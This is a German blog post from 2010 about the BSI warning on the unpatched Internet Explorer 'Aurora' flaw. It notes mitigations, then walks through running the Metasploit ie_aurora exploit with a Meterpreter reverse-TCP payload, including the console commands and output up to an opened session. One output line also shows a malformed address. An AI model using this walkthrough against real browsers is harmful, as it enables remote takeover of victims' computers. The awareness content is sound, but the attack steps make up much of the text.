BSI warnt: Internet Explorer Aurora Exploit

Loaden — Wed, 20 Jan 2010 22:31:24 +0000

Verspätet muss ich meine Freude über die Warnung des BSI vor dem Internet Explorer veröffentlichen. Der Fehler ist bisher noch ungepacht und das Exploit schon seit einiger Zeit online verfügbar. Es sind die Versionen 6 – 8 von Microsofts Internet Explorer betroffen. Laut heise.de wurden über diesen Schwachpunkt im Browser bereits gezielte Angriffe auf Google und andere amerikanische Firmen verübt. Microsoft selber empfiehlt die Sicherheitseinstellungen im Internet Explorer auf “hoch” zu stellen. Das deaktivieren von Javascript reicht jedoch aus um der Gefahr des Internet Explorer Aurora Exploit zu entgehen. Inzwischen wurde das Exploit sogar in das Exploit Framework Metasploit aufgenommen. Das Exploit aus dem Metasploit Framework ist nur beim Internet Explorer 6 funktional. Auf den Internet Explorer 7 sind trotz Protected Mode auch unter Windows Vista erfolgreiche Angriffe möglich. In der achten Version des Internet Explorers verhindert DEP (Data Execution Prevention) das Ausführen des Schädlichen Quellcodes. Um das “Internet Explorer Aurora Exploit” in die Finger zu bekommen muss man sich den aktuellen Snapshot via Subversion herunterladen. Die aktuelle Download Version war zum Veröffentlichungszeitpunkt das Metasploit Framework 3.3.3. Der Downloadvorgang ist denkbar einfach und schnell:

mkdir METASPLOITORDNER
cd METASPLOITORDNER
svn co https://www.metasploit.com/svn/framework3/trunk/

Das Aurora Exploit aus dem Metasploit Framework verwendet man folgendermaßen:

:~$ cd METASPLOITORDNER
:~$ msfconsole
msf > use exploit/windows/browser/ie_aurora
msf exploit(ie_aurora) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(ie_aurora) > set LHOST (deine IP)
msf exploit(ie_aurora) > set URIPATH /
msf exploit(ie_aurora) > exploit

[*] Exploit running as background job.
[*] Started reverse handler on port 4444
[*] Local IP: http://192.168.2.101:8080/
[*] Server started.

Nach dieser Ausgabe landet man wieder an einer Eingabeaufforderung.

msf exploit(ie_aurora) >

Nun wird mit dem Internet Explorer Kontakt zur eigenen IP Adresse aufgenommen. Wenn der Exploit erfolgreich ausgeführt wird erscheint die Ausgabe:

[*] Sending stage (723456 bytes)
[*] Loaden session 1 opened (192.168.2.101:4444 -> 192.168.0.2.101)

Metasploit bietet nun die Möglichkeit die Kontrolle des Rechners zu übernehmen. Darauf werde ich hier jedoch nicht weiter eingehen. Es lässt sich hoffen das es demnächst ein Update für den Internet Explorer geben wird.

monkey-business.biz » BSI

BSI warnt: Internet Explorer Aurora Exploit